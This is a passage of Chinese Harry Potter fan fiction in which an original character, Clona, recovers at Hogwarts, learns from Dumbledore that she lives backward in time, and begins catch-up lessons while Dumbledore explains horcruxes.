卢平松了一口气,他抽出魔杖,对着天空念了一句:“呼神护卫。”
一头巨大的银色动物从他的杖尖跳出来,冲进黑夜中。
“我对邓布利多说把你带去校医室,”卢平说,“你能幻影移形吗,克洛娜?”
克洛娜盯着卢平教授,摇头道,“幻影移形17岁才能学。”
“我总是忘记。”卢平苦笑着摇了摇头,他伸出一只手臂,“那就随从显形吧,我相信你的理论知识已经完善了。”
克洛娜把手放了上去。
卢平教授不应该那么信任她的。
在霍格沃茨的桥梁上出现时,克洛娜冲到一旁,把格里莫广场吃进去的东西都吐了个干净。
……
庞弗雷夫人给克洛娜安排了一个病床。
天色已经蒙蒙亮,地平线上泛起亮光,穹顶变成明亮的淡紫色,星空还在闪烁着,一弯极细的弦月挂在半空中。
克洛娜从庞弗雷夫人的手中接过一瓶血液净化药剂,以及帮助疗伤愈合的魔药。庞弗雷夫人让她坐在病床上,整个校医院中十分寂静,另外几个病床的帘子拉着,不知道后方躺的是谁。
卢平把克洛娜安全送到之后,就步履焦急地从校医院走了出去。他说唐克斯还在圣芒戈,他需要去确认一下唐克斯没事了。
疗伤草药尝起来像是没有味道的黏稠热汤。
庞弗雷夫人拉上帘子,用魔杖检查完克洛娜的身体,开始严厉地皱眉。
“活死人咒,至少停留了十个月了!究竟是谁对一个再校的孩子下手这么狠!”
“神秘事务司的人
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。”克洛娜说。
她从来都没住过校医室。
只有一年级的时候,她陪金妮在这里待过一段时间。
从小到大克洛娜都没怎么生过病,她算是个很好照顾得孩子,据说巫师不会感染普通的麻瓜流感,所以她一直都没给玛丽姨妈添什么麻烦。在校期间,她距离危险最近的一次恐怕就是打算养流浪狗了。
但是流浪狗有能什么危险的呢。
除非那是个成年巫师变的。
“魔法部的人!”庞弗雷夫人说,“邓布利多竟然不给他们提个醒?他们怎么能对孩子用这样的咒语!”
“这是什么咒语?”
“格林德沃时期的审讯手段了,为了防止犯人越狱就让人在审讯期间不吃不喝,最长施咒时间不能超过二十天,因为活死人咒会吸食生命。”
“格林德沃时期的?”
“是啊,有人中了这个咒语,不到两年就死了,魔法部后来禁用了这个咒语。十个月——梅林在上,你是怎么挺过来的,可怜的孩子,怪不得你这么瘦了,他们到底是为什么要这么做呀……”
克洛娜慢慢喝着血液净化药剂。
她根本不知道这些人为什么要这么做。
按照卢平的说法,神秘事务司的法弗纳尔·莱斯特兰奇并不是已知的食死徒,他可能是后加入的伏地魔阵营,但是为什么是克洛娜?
她做了什么?
她又不是什么大难不死的女孩,头顶也没有闪电形的伤疤,更没有在传说中击败伏地魔。
法弗纳尔·莱斯特兰奇显而易见是想从她身上找到什么。
如果时间之沙的成像代表着某个人的过去和未来,而克洛娜在时间厅中看到的倒影没有自己的未来……那么他们是想从她的过去中挖掘出什么吗?
那阵恐慌的感觉又回来了。
克洛娜双手颤抖,捧着魔药的指尖变得和冰一样凉。
庞弗雷夫人不由分说地把她手里的碗拿走了,换上一杯新的魔药。
“把这杯无梦酣睡剂喝了,孩子,它会帮你睡个好觉,你很快就会好起来的。”
“太好了。”克洛娜小声说。
她现在正需要这个。
庞弗雷夫人注视着她喝掉一整杯无梦酣睡剂,然后一头栽倒在枕头上,如同一个被拔掉电源的微波炉一样停止运转。
克洛娜再次醒来时,她的视线还是模糊一片。
困倦让她睁不开眼睛,无梦酣睡剂的药效很强,她一夜无梦,根本不知道自己睡了多久,感觉已经过了一个世纪,帘子上方的阳光呈现出昏暗的玫瑰色,像是黄昏的颜色。
克洛娜这才想起昨天忘了和庞弗雷夫人说她眼睛的情况了。
她看到一个穿着长袍的瘦高影子站在病床前。
这个影子距离她太远,她只能看清轮廓,尽管如此,哈利·波特的一头凌乱黑发,以及他标志性的眼镜还不是那么难认的。
“克洛娜,”哈利精神消沉地说,“你醒了。”
他似乎在这里目光呆滞地愣神很久了。
克洛娜推开被单,坐了起来。她还是感觉很虚弱,四肢用不上一点力气,脑袋沉重且昏沉。
“哈利?”她说。
她的声音已经基本上恢复了。
庞弗雷夫人的医术非常值得信任。
将近一年的时间,克洛娜都没见过哈利。哈利的声音十分嘶哑,就好像他的喉咙刚刚撕裂过,却没有愈合。
“邓布利多说让你醒了之后去他的办公室找他,他想和你谈谈。口令是梅子味汽水糖。”
18. 第 18 章
重新走进霍格沃茨的走廊,一切都没有变化,但克洛娜却恍如隔世。
夕阳给城堡的石头渲染了一层柔和的色彩,学生们相互交谈着,从克洛娜身边走过,克洛娜曾经也是过着这样的生活,生活中最重要的事情就是学习和考试。她会坐在图书馆外的长凳上研读咒语书,偶尔会看一场魁地奇比赛,会在考试之前为了论文和复习焦头烂额,急躁地完成自己的论文……而现在,她连魔杖都没有。
整个霍格沃茨似乎忽然距离她很远。
她走在长廊中,神秘事务司中的那几个月却如影随形,无声地包裹住她,将她与过去的生活隔绝。
一阵孤寂而悲凉的沉默从她脚下的地面延伸,拉扯她的影子,将她推离这个她所熟知的地方。
似乎再也回不到当初了。
校长室位于城堡的八层,克洛娜迷路了几次之后,从一个热心的赫奇帕奇口中询问到了校长室的具体位置。她对着门口的滴水嘴石兽说出“梅子味汽水糖”,那只石兽就让开位置,准许她同行。
邓布利多并不在校长室中。
他的桌子上摆满了奇怪又有趣的器械,像是小型永动机一样嗤嗤发声,冒出蒸汽。办公桌后方的墙面上挂着无数幅油画,像是城堡里所有的油画一样,他们也都会动。画中的人好奇地望着走进校长室的克洛娜,其中一个穿着深绿色燕尾服,气质斐然的山羊胡男巫,扬起脑袋,用骄傲的语调说道:
“啊——又是你。看来某人今年又没找到任何新线索,我猜她还是对怎么铲除黑魔王一无所知,是不是?”
克洛娜愣住了。
“不好意思,您说什么?”
尽管她并没有来过校长室,但画像却说“又是你”?
还没等那个男巫画像回答,其他的画像就都开始发出恼火的嘘声。
“嘘——菲利亚斯,你不能直接说这件事。”
“菲利亚斯!现任校长还没有回来,你不知道这意味着什么!”
“要是因为你的话,原本的东西改变了怎么办!”
克洛娜看向那幅山羊胡男巫的画像,下方的标牌写着:菲尼亚斯·奈杰勒斯·布莱克(1847-1925),霍格沃茨校长。
他的黑发里略掺银丝,有一双灰色的眼睛,领口系了一条十九世纪晚期样式的装饰领结,梳理着精致的发型,一绺细碎的头发散在额前,似乎是特地这样做的。
而其他的画像似乎也都是霍格沃茨的前任校长们。
还好乌姆里奇不在这里。
“我说什么了?”菲尼亚斯·奈杰勒斯尖酸刻薄地说,他的语调仍然十分优雅,“我只不过是提出了一点无伤大雅的质疑,拉文克劳的办事效率总是十分低下,太容易分神,有上进心的斯莱特林根本不会允许如此惰怠的事情发生。”
菲尼亚斯·奈杰勒斯的话引起了更大的争议。
“菲尼亚斯,作为一个校长你怎么能如此赤.裸地学院贬低!”
菲尼亚斯·奈杰勒斯不以为然。
“这么说吧,如果他们能做得更好的话——但是显然,异想天开的松鼠是无法与狼犬媲美的,他们思维永远无法提升到恰当的高度。”
“什么?!”
“简直——太过分!”
“真应该让邓布利多移走他的画像!”
“我不想和他摆在一起了!”
“冷静点,女士们,先生们——”菲尼亚斯·奈杰勒斯说,他不耐烦地摆了摆带着手套的手,“我们都是为了霍格沃茨着想。”
校长室很快就吵嚷起来,画像们你一言我一语,克洛娜尴尬地立在原地。
“感谢各位。”
一个平静的声音从门口传来。“好了,菲利亚斯,接下来的就交给我吧。”
邓布利多走了进来,克洛娜很庆幸他及时出现了。
画像的声音平歇下来,校长室中重回安静。邓布利多像是一个老朋友一样欢迎克洛娜的到来,如同已经与克洛娜相识很久了。他绕过办公桌,坐在椅子上,对克洛娜做了个手势。
“请坐吧,克洛娜。”
在克洛娜坐下的同时,邓布利多从桌子对面推过来一盒糖果。“滋滋蜂蜜糖,我记得你很喜欢吃糖果和甜食,碰巧我也很喜欢,来一个吗?”
“谢谢,教授。”克洛娜说。
她嘴巴里全都是魔药的味道,确实很需要糖果中和一下。
邓布利多微笑着注视她从盒子里拿走糖果。甜味在克洛娜的舌尖溶解,邓布利多办公桌上的星系模型正在缓慢地旋转着。
“你肯定有很多问题想问,克洛娜。”邓布利多说,“现在你可以问了。”
太多问题了。
克洛娜想了一会儿,有些不知道从何问起,莱斯特兰奇为什么想杀了她,时间之沙和死亡帷幔是怎么回事,哈利在魔法部里究竟发生了什么——为什么凤凰社的成员说哈利在联系他们,他们为什么在寻找哈利,哈利为什么又去魔法部了?
这一年里到底发生了什么……
她隐隐感觉到世界上的一切都有些不对劲,卢平教授告诉她的有关克利切的事情,究竟是什么意思?
最后,克洛娜脑海深处的一个问题浮现出来。
“您给我的那张字条是什么意思?”克洛娜问。
为什么邓布利多根本不认识她,还要给她写一张字条,并且用她刚刚发明的自动阅读咒语,告诉她凤凰社的地址。
“我没有给过你字条,克洛娜。”邓布利多说。
“可是我收到了一张字条,上面写着凤凰社的指挥部地址是格里莫广场,哈利告诉我,这张字条是您给我的。”
“可能是因为‘我’认为凤凰社的地址会对你有用,”邓布利多说,“但我确实没有给你写过字条,也没有告诉过你格里莫广场的地址。”
克洛娜彻底搞不懂了。
“就在您被迫卸任之前——就是有一张字条啊。如果不是您给的,那我是怎么知道的凤凰社地址呢,这个地址有赤胆忠心咒语,只有保密人能说出……”
“确实是这样,我是凤凰社的保密人。”
“这到底是怎么一回事。”克洛娜问,“这一切……”
“我并不知道你在未来发生过什么,克洛娜,只有你自己知道。说实话,我本希望你在今年能带来些什么好消息。但现在看来,这个循环截止于这一次,也开始于这一次。我恐怕无法提前得知我们有没有击败伏地魔了。”
邓布利多无奈地微笑了一下,像是对自己天真的想法感到可笑。
他对“你在未来”这个词用了过去式。
为什么未来是过去式。
各种零碎的信息在克洛娜的脑海中汇聚。她想到卢平对她说的话,以及时间厅中蓦然出现的钟表和食死徒,小天狼星·布莱克的死亡……
“现在是什么时候?”克洛娜问。
邓布利多向后靠,将手指尖并拢在一起,露出了欣赏的目光。
“下午六点,”邓布利多说,“如果你问的是时间的话——但如果你问的是年月日,今天是1996年6月19日。”
一瞬间,克洛娜感到自己浑身的血液都凉透了。
1996年,是她的四年级末尾,也就是哈利夜闯魔法部的那一年。而克洛娜被困在时间厅十个多月,她在魔法屏障构成的笼子里,那个戴怀表的缄默人偶尔会查看时间,怀表表盘上刻着的如尼文,在魔法的影响下,每隔一段时间都会变换一次,标记出当时所在的月份和日期。
时间在流逝。
现在应该是1997年6月,为什么还是1996年?
“不……”克洛娜反驳道,“现在是1997年。”
邓布利多蓝色的眼睛看向她,仿佛能看穿她的灵魂。
“这应该是你第一次时间逆行。”他说,“之后还会有很多次。”
“什么?”
“你能够回溯时间,克洛娜。你的时间流逝和我们相反。”
校长室中弥漫着凝滞般的寂静,邓布利多桌子上精密的仪器仍然在冒出蒸汽,克洛娜抓紧了座位的扶手,她向前倾身,浑身紧绷。
“这不可能。”克洛娜说,“怎么可能时间逆行?”
“时间转换器的作用是什么,克洛娜?”邓布利多平心静气地引
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导道。
“将巫师带去过去的几小时之前。”
“很好,拉文克劳加2分,那么你还记得你是怎么来到这里的吗?”
“我被一阵沙子包裹了,我以为我已经死了。但是之后我发现我又出现在了死亡厅,神秘事务司的人——他们——”
克洛娜猛地顿住了。
她已经死了,但是被时间之沙送到了过去。
所以她出现在了没有重建的时间厅中,那些钟表和桌子都还摆在那里,而凤凰社的人刚刚赶到,她看到了还活着的小天狼星·布莱克,卢平教授说哈利正在试图联系他们……
这些事情都是昨天发生的,而不是一年前。
克洛娜倒退了一年的时间。
“有的时候死亡并不是终结,而是起点。人类如何能判断真正的死亡是什么呢?”邓布利多说。
“回溯时间。”
克洛娜吐出了这几个音节。声音如同不是从她自己的喉咙里发出的。
“不过我不能问你更多关于未来的问题,如果你想知道关于你过去的问题,我可能也无法完全回答你。时间是个谜题,也是非常危险的,它仁慈又残忍,唯一的面对它的方式就是保持未知。”
邓布利多耐心地看着她。
过了好几十秒,或许已经过了一个世纪,克洛娜重新找回了自己的声音。
“在我的身上发生了什么,教授……”
“在你的时空里,法弗纳尔将时间之沙中的魔法全部转移到了你的身体里。你可能已经知道这件事了。我们猜测,你的身体似乎是个天然的时间之沙容器,你没有裂解,没有发疯,也没有在时间中湮灭,我并不知道具体原因,但似乎,正是因为你的这种特殊性,导致你能与时间之沙融合。”
“法弗纳尔·莱斯特兰奇……他为什么要这么做。”
“我认为只是他的无心之举。”邓布利多说,“他并不知道他创造了什么,也没想到你会在时间之沙的影响下获得回溯的能力。”
是法弗纳尔·莱斯特兰奇的古代魔法……
时间厅崩塌之前,法弗纳尔用魔杖指着克洛娜,让时间之沙旋转起来。
而克洛娜逆行时间,回溯到一年前的时候,她看到所有的钟表都刚好过了午夜。
正是她跟着哈利他们闯入神秘事务司的时间。
也就是法弗纳尔用出古代魔法的时间。
不,法弗纳尔·莱斯特兰奇绝对不会想要她回到过去。他想从她的过去中寻找东西,但如果她跨越时间、真正回到过去了,而一切都没有发生,他就会将自己暴露在无知且脆弱的状态中。
要是她能逆行时间的话……
如果她可以做到。
那么她就能在法弗纳尔·莱斯特兰奇毫无察觉的时候杀死他。
“我能控制时间的回溯?”克洛娜说。
“我很遗憾,”邓布利多伤感地望向克洛娜的眼睛,“我们都只能做被时间推着走的人。”
“所以我不能控制……”克洛娜说,“等等……为什么是在‘我的那个时空’?因为我已经死了?”
“在一个时空中,有且只能存在一个你自己。所以,在现在的时空中,你不是霍格沃茨的学生,克洛娜。这个时空中的你并没有出生。”
没有出生。
克洛娜的脑海中不断重复着这句话。
她不存在。
她的父亲和母亲也没有相遇,她的母亲可能还活着。
而她是个不存在的人。
克洛娜想到当初和卢娜还有金妮在时间厅中看到的无数个未来。无数个可能性组成了不同的时间线。她是个逆行时间的人,她并不是没有未来,而是因为她的未来在过去。
“不同的时间线……”
她喃喃自语般说。
“你很敏锐,克洛娜。”邓布利多说,“回溯时间,这对于一个孩子来说太难接受了。我能理解你的感受。”
他不会理解的。克洛娜想。
不,他不可能理解。
她是一个不存在的人,她的时间和别人是相反的。
没有人能理解。
19.第 19 章
“那布莱克……”克洛娜犹豫着问道。
“小天狼星没能活下来,他掉进了拱门,谁都没办法改变注定的结局。当这一刻来临时,我们唯一能做的就只有接受。”
克洛娜沉默下来。
她见证了布莱克的死亡,而且是两次。
第二次,她本可以阻止布莱克,不让他进入死亡厅。但她当时却未曾意识到自己回溯到了一年前,并未没有得及把这件事说出来。
但就算她说了,似乎也不会有任何改变。
要是一个素不相识的人对你说:“你马上就会死。”又有多少人会相信呢。
如果不是为了救布莱克,克洛娜也不会出现在魔法部中,就不会陷入逆转的时间。
但是去魔法部解救布莱克是她自己选择的。
她不能责怪任何人。人生中的每个选择都代表着一种可能性,就像时间厅的沙子呈现出的倒影——而她只是恰好陷入了最坏的那个可能性中。
这个可能性,就是她注定的结局。
谁都没办法改变注定的结局……
能做的只有接受……
“我们还得探讨一件非常重要的事情。”
邓布利多的声音将克洛娜从出神中唤醒。克洛娜抬起头,她的双脚和双手都像是在冰水里泡过似的,感受不到一点温度。
“什么事,教授?”
“关于你的学业。”邓布利多说,“鉴于你在时间回溯,并不会像普通孩子一样长大,所以霍格沃茨的学生名单中并没有你的名字。你现在的课程进度是什么,克洛娜?”
“我上完了四年级所有的课,教授。”
“看来你落下了整整一年的功课,抱歉,克洛娜,我无法直接让你从六年级开始。”
“那我……”
“我打算让你参加O.W.Ls补考,并同时上五年级和六年级的课程,赶上学习进度,你同意吗,克洛娜?”
这样她就没办法和金妮还有卢娜成为同学了。
她也不用和她们解释自己的存在了。
金妮可能根本不认识她。克洛娜想,她们没有一起长大,也没有成为朋友,她为什么还要打扰金妮的生活呢。
“现在是特殊时期,”克洛娜说,她的喉咙里泛起一阵哽咽的苦涩,“神秘人已经回来了,莱斯特兰奇知道了我的存在,他肯定在找我。我应该学会怎么保护自己。”
“非常好。”
邓布利多站了起来,忽然变成了慈祥的校长。
“不过不需要担心假期的事情,”他说,“补考从八月底,时间充裕,你还有很长一段休息时间可以给自己放个假。”
放假……
克洛娜并不想放假。
一整年没有拿到魔杖的感觉,就像是学会了一门语言,但是却眼睁睁地看着自己将其全部忘记。
她没有什么别的事情可做了。
除了让自己的脑子动起来,学习新的东西,她甚至不知道自己究竟为什么还要活下去。
“我能现在就开始吗?”克洛娜说。
“哦,不用急,”邓布利多微笑着说,“补课会等你痊愈之后再开始,我们的教职员工也要放假呀,只有宾斯教授是个例外,你可以任何时间去听他的课。这段时间我也要离校去调查一些事情。”
“我需要申请留校吗?”
“霍格沃茨从没有学生留校的先例,学校董事会也不会同意的,不过不必让他们知道。城堡八楼有一张巴拿巴斯的挂毯,记录了过去巫师训练巨怪跳芭蕾舞的有趣一幕,想必你对这个挂毯已经很熟了,那里会是个练习咒语的好地方。”
邓布利多说的没错。
四年级的时候,哈利将D.A.的训练室设置在这里,他们每隔一段时间就会在挂毯对面的房间里训练。
“有求必应屋。”克洛娜说。
“霍格沃茨总会给你提供最需要的东西。现在,恕我失陪,天已经黑了,我得去森林里瞧瞧多洛雷斯过得怎么样了。”
克洛娜看向修长的纵向窗户,窗外果然已经完全漆黑,铁窗花慢慢过滤着月光。
邓布利多绕过桌子,走向门口,克洛娜也站了起来。
校长室的天文望远镜旁边的魔法书页上绘制着天琴座,望远镜旁边有个黄铜制的落地支架,托盘里颤颤巍巍站着一只羽毛未丰的小鸟,看起来像长着稀疏羽毛的霸王龙。
这么说去年……
不,今年,昨天,乌姆里奇被哈利留在了禁林里。而邓布利多等了足足一天才决定去解救她……
克洛娜尽力调整着自己的时间概念。
“哦对了,”邓布利多走到门口,转身对克洛娜说,“你的五年级黑魔法防御术补课由我亲自辅导。半个月后见。”
“邓布利多教授——”
克洛娜忽然说。
“我还有个姨妈,她叫玛丽·史密斯。我只是……我是说……玛丽姨妈,她还安全吗?魔法部的人会不会去找她?”
邓布利多沉默了几秒。
“就连我都不知道你还有个姨妈,克洛娜。”
……
克洛娜在有求必应屋里找到了几根魔杖。
这些魔杖长短不等,材料不一,而且有一定年头了,说不定百年前就被留在了这里。
克洛娜用最简单的荧光闪烁咒语逐一测试,这些魔杖用起来都不算很顺手,不如她一年级从奥利凡德那里买的旧魔杖。但现在她不能离开霍格沃茨,也没有钱买第二根魔杖。
克洛娜从那几根古董似的魔杖里挑了一根相对而言比较好用的。
有求必应屋和D.A.的练习场地又不一样了。
现在,房间内的光线非常暗,如同一个没有收拾过的图书馆,被书柜环绕。
书柜上摆满了各种各样的咒语书,以及杂乱无章的魔法物品。
墙边则铺了一排能种草药的小型园圃。
房间中央的魔药台上有一口很旧的坩埚,魔药瓶和密封罐或是空的,或是里面的东西早就已经腐坏,变成黑灰色的团状物。
正前方,一道石头楼梯通向休息室。
桌椅和四柱床被悬浮蜡烛的光辉照亮,看起来有点像拉文克劳公共休息室的床,不过床帷上并没有鹰装饰。
向右走竟然还能看到独立浴室,浴室门口还放着一个夜壶。
魔法多少有点贴心到不合理了。
被困在霍格沃茨非常好,不能离开霍格沃茨也非常好,实际上,在这间房间里住到世界末日也完全可以——
克洛娜走到桌前,发现桌面上放着一副金丝框眼镜。
她立刻跑到小型图书馆里,寻找变形术的书籍,接着研究了一整晚怎么才能让眼镜变得合适自己。
第二天走出有求必应屋的时候,克洛娜因为缺乏睡眠和食物而头重脚轻。
她在礼堂遇到了来吃早饭的哈利。
哈利孤零零地坐在格兰芬多的长桌旁,面前摊放着一张报纸,标题写着:《魔法部午夜
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遇食死徒袭击导致1死7伤》。
克洛娜看了一眼拉文克劳的长桌方向。
卢娜也独自一人坐在那里。
她犹豫片刻,脑海中出现卢娜陌生而空灵的声音,嗨,你是谁?我能帮你什么忙吗?克洛娜?我没听过这个名字。
克洛娜的脚步无论如何都走不动了。
“早上好。”哈利的声音传来。
他听起来有气无力的,克洛娜也好不到哪里去。
“早上好,哈利。”克洛娜坐到他的对面,从格兰芬多的盘子里叉走蒸蛋和培根。
“你还好吗?”哈利小心翼翼地问道。
“我……”克洛娜思考着怎么回答,“一整晚都在学习。”
“真好。”
“是啊。”
他们沉默地吃着自己盘子里的培根。
过了一会儿,克洛娜问道:“我在研究怎么用变形术制作眼镜。你的眼镜是自己制作的吗?”
哈利抬起头。
“我的眼镜?”他吃惊地说,“不,我的眼镜是在萨里郡的一家眼镜店配的,我的姨妈不肯给我花太多钱,它被打断了很多次,后来赫敏在镜框上帮了点忙。”
他的情绪又低落了下去。赫敏好像还在校医院里。
“哦……”克洛娜说,她并不知道怎么安慰人,“你姨妈对你不太好。”
“她确实是。”
“我也有个姨妈。”克洛娜拼命找话题。
“你有个姨妈?”
“还有两个表哥和一个表姐。”
“我有个表哥,就是他把我的眼镜打坏的。”
关于哈利麻瓜生活的大部分内容,金妮都对克洛娜说过,现在不过是听哈利再说一次。
克洛娜看了一眼哈利。四年级的时候,他们还在有求必应屋里拼命想抢走对方的武器。那时哈利的教父还没有去世,克洛娜也没有被关进魔法部的笼子。
现在好像一切都变了。
克洛娜有些不知道该谈什么。
肯定有很多人已经对哈利表示过关心了,而她不认识小天狼星·布莱克,她只认识伤风,此刻表示哀悼又有什么用呢。
“有件事情我想问你。”克洛娜说,“你为什么认识我,哈利?”
哈利缓慢地眨眼,绿色的眼睛注视着克洛娜,似乎以为她的脑子坏掉了。
“你去年一直住在格里莫广场。”
“我?住在格里莫广场?”
“是啊,”哈利说,“抱歉……”
“没关系。”克洛娜说,她试探着问道,“那这么说,你不知道关于时间的事情?”
哈利十分茫然。
“什么时间?”
克洛娜放下了手中的叉子。
当然了,明年她不可能还以学生的身份留在霍格沃茨,也就只有一个地方能去了——凤凰社的指挥部,那幢灰扑扑的古老宅子。她现在还不想考虑她的N.E.W.Ts是怎么通过的,眼前的O.W.Ls和五、六学年连读已经够她烦心的了。
“没什么,”克洛娜说,忽然感觉心灰意冷。“就是……已经到时间来上学了,下学期我会作为插班生和你一起上学。”
“是吗,那很好,克洛娜,六年级插班生?太好了,呃,我是说——欢迎,你会来格兰芬多吗?”哈利问。
克洛娜盯着面前的那块油腻的培根,一点胃口都没有。
“看分院帽怎么说吧。”
她心不在焉地敷衍道。
20.第 20 章
七月初,霍格沃茨站台送走了所有的学生,列车缓缓开动,学生们都期盼的暑假到来了。
而这天,克洛娜则在有求必应屋里熬制艾德鲁斯药剂。
这种魔药的效果是强化巫师的皮肤,让皮肤变得无比坚固,从而提升魔法防御能力。材料包括火灰蛇的蛋和黑色恶犬毛皮。
要是伤风没有掉进帷幔,就可以——
布莱克的那头黑发没由来地从她的脑海中一掠而过,她立刻把这个想法驱赶出去,为自己感到罪恶。愿逝者安息……
克洛娜的O.W.Ls补课从七月中旬开始。
斯内普教授却提前一次性的布置下了整个学期的论文,他按照日历表格定下了每篇的提交日期,几乎每天都是死线,这导致克洛娜无时无刻不在忙着写论文。
斯内普教授对于假期还要给学生补课这件事怨声载道。
只要看见克洛娜,他的目光就像是淬毒的匕首一样,阴险地刺着克洛娜的后背。但好在,他只需要克洛娜完成论文,用猫头鹰寄到一个蜘蛛尾巷的地址,并且附上一份魔药小样就行了。
这意味着一整个假期克洛娜都不用跟斯内普教授见面。
她为此大大松了一口气。
麦格教授非常负责任地接下了变形术和魔咒学的教学,她住在霍格沃茨,辅导克洛娜很方便。弗立维教授提供了相当大一部分的教材援助,只不过他对于为什么学生会留校补考这件事毫无头绪。
斯普劳特教授同时给克洛娜补习草药课和天文课,她的好友辛尼斯塔教授去休假了,而斯普劳特教授需要偶尔回来照顾她的植物。
除了保护神奇动物课之外的选修课暂时搁置,因为教授都不在校……
克洛娜在有求必应屋的书架上找到了一本又沉又厚的《第五版法术》咒语书,里面的咒语从漂浮咒到高级法术一应俱全,比如释放一片由魔法匕首组成的云团,能够对周围的敌人造成范围性的流血伤害,或者火球术,可以向敌人丢去一颗巨大的火球砸向地面,让周围的易燃物都跟着一起燃烧。
这本书还记录着三大不可饶恕咒的咒语和用法,以及如何制作阴尸和魂器,如何用咒语剥皮或穿刺,如何将自己的灵魂献祭给魔鬼,如何利用黑暗诅咒使他人成为嗜血怪物,或者蛊惑邪恶生物为自己所用……
克洛娜震惊地返回书的封面,查看究竟是哪个作者写了这样的书。
本应该写着作者名字的位置是空白的。
而作者写这本书的时候,死咒、夺魂咒和钻心咒似乎还没有被列为不可饶恕咒。很多法术都能对人造成致命伤害,可奇怪的是,后世中,唯独只有使用这三个咒语会被送进阿兹卡班。
……
“因为这三个咒语都是对人的灵魂造成无可挽回伤害的黑魔法。”麦格教授说,“你是从哪里读到的这些内容,巴沙特?”
“我见过好几次死咒了,教授。”
麦格教授似乎轻轻叹了一口气。
“现在学习不可饶恕咒的危险对你来说不算太晚。”她说,“记住,阿瓦达索命咒没有抵消的办法,是唯一一个没有破解咒的黑魔法,我想阿不思·邓布利多教授应该已经告诫过你黑魔法造成的危害了。”
“邓布利多教授还没开始黑魔法防御术课程……”克洛娜说。
“他正在执行一项秘密任务,很快就会回来了。”麦格教授说。
克洛娜隐隐在她的目光中看到一丝担忧。
她们正在变形术的教室里上课,麦格教授拿了一把椅子,端正地坐在讲台后面。她让克洛娜坐在第一排距离她最近的地方,空旷的教室里只有麦格教授和克洛娜两人。
“让我们回到变形术上吧,巴沙特,你的中级变形术技巧如何?”
“教授,我最近一直在尝试给这个眼镜变形。”
克洛娜从长袍口袋里拿出金丝框眼镜,小心地放在桌子上。
“波比没有给你配置药水吗?”
“哦,庞弗雷女士给了我滴眼液,效果显著,但是我在阳光下还是有点看不清东西。”克洛娜说。
麦格教授挥了挥魔杖,眼镜框就向她飞过去。
“很精细,但是不能维持太长时间,对吧?”麦格教授摆弄着眼镜说道。
克洛娜点了点头。
“我会帮你做一点最后的调整,然后列一份调整详细表单给你。”
什么……眼镜的变形术调整竟然还需要写表单……?
“谢谢,教授,那就太感谢了。”克洛娜说。
麦格教授指着讲桌上的高脚杯。
“现在我需要你把这只杯子变成渡鸦,然后再用转换咒把渡鸦变成别的东西,巴沙特。这才是五年级的必考内容。”
“好的,教授。”
克洛娜想了片刻。她举起魔杖,念出一串变形术的咒语。
杯子忽地生出乌黑的翅膀,一只渡鸦从里面钻出来,取代杯子,站在了讲桌上,歪着头,用新奇的目光看向教室。克洛娜的魔杖在渡鸦面前轻轻点了一下,渡鸦拍打翅膀,飞向克洛娜的肩头。不苟言笑的麦格教授微微露出赞许的表情。
克洛娜又念了个咒语。
渡鸦在空中骤然缩小,像是眨眼间被挤压成一团,翅膀缩了回去,身上的羽毛消失了。
克洛娜伸手去接。
一大把金加隆像是金色的雨一样噼里啪啦地掉落下来,克洛娜接住了几个,剩下的金子都倾洒在地,蹦蹦跳跳地滚落到教室各处。
“精湛的变形术,”麦格教授发自肺腑地感叹,而后她立刻正色道,“但是,变金子还是不被允许的,巫师界流通货币都是古灵阁发行的。把这条和三大不可饶恕咒写在一起,巴沙特。”
“……好的,教授。”
夏天变得极其炎热,邓布利多终于回来了,但是转眼间,他的右手就变得焦黑,如同被黑魔法侵蚀过一样。斯内普教授满脸怒容地从校长室走出来,克洛娜正打算敲门,校长室的门就被他一把推开。
邓布利多坐在办公桌后,对克洛娜举起受伤的右手,友好地挥了挥。
斯内普居高临下地横了一眼克洛娜,他脸颊上的肌肉讥嘲地抽动着。“难道你也对自己做了某种特别的安排吗,巴沙特小姐。”
克洛娜本以为整个夏天都不用见到斯内普了……
“我昨天把论文和隐身药水的小样都寄去蜘蛛尾巷了,教授。”
“我该为巴沙特小姐终于克服了她的拖延症而高兴吗?”
克洛娜小声说:“教授,我还没有拖欠过论文……”
“是吗,但是恨不得把所有的东西都留到最后一天?或者是干脆什么都不做?如果我没有设置死线你打算如何通过这次考试呢,还是干脆躲到别人都找不到的地方,当个懒惰的、无所事事的——”
“???”
“西弗勒斯,是我叫克洛娜来的,”邓布利多在校长室里说,“请进,克洛娜。”
斯内普冷哼了一声,他扯着长袍,像一阵黑色旋风一样大踏步离开了。
克
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洛娜茫然地走进校长室。
“我为西弗勒斯的行为向你道歉,他这个暑假很忙,今天还不得不为一个老人不自量力的鲁莽行为而买单。请坐吧。”
“发生了什么?”克洛娜问道。
“这个,”邓布利多捡起桌子上被劈碎的戒指,“是一个魂器。你知道魂器是什么吗,克洛娜?”
克洛娜险些就点头了。
邓布利多若有所思地看着她,解释道:“那是一种高深而邪恶的黑魔法,通过杀戮将灵魂分裂,并且放入某个容器中,以保证在肉身死亡之后仍然能长生不老。我有个未被证实的猜想,那就是伏地魔——他的真名是汤姆·里德尔——用自己的灵魂碎片制作了许多魂器。”
汤姆·里德尔这个名字有点耳熟,克洛娜想不起来自己以前在哪里听到过。
“原来是这样……”
“我不会因为求知欲而责怪你,但是我们也不会触及底线。”邓布利多说,“你并没有打算将其付诸实践,对不对?”
克洛娜忽然感到有些心虚,“绝对没有,教授。”
“我相信。”邓布利多说。“不过你如果能熟知魂器,接下来抗击伏地魔的工作大概会变得容易一些。我想鼓励你在这方面钻研得更多一点。”
这对话的内容趋于诡异了。
“我是在一本书上看到的这种魔法,那本书上的资料并不算很多,只写了咒语和用法。”克洛娜承认道。
“很高兴你能告诉我,”邓布利多说。
他从抽屉里拿出一个笔记本,克洛娜恍然间想起自己是从哪里知道的汤姆·里德尔这个名字了。
“这是金妮一年级的时候拿到的日记本!”
那场密室风波,克洛娜记得很清晰,金妮差点在密室里丧命,还好哈利救了她。此前他们一直以为日记本是伏地魔制作的某个黑魔法物品,才导致金妮的事故。
“是的,我想这是汤姆·里德尔做的第一个魂器,他将自己的一片灵魂放了进去。”
“黑魔王的灵魂被一个十二岁少年打败了?”
邓布利多饶有兴致地看着克洛娜,“我不会那么说,日记本没能成功吞噬金妮的灵魂,它的力量是薄弱的,不及伏地魔全盛时期力量的万分之一。”
“神秘人做了多少个魂器?”
“这正是我们下学期要调查清楚的。”
“您的手也是被魂器伤到的吗?”
邓布利多抬起手,看了看自己焦黑的指尖。
他用很轻的声音说:“西弗勒斯说我已经时日无多了。”
“那是什么意思?”
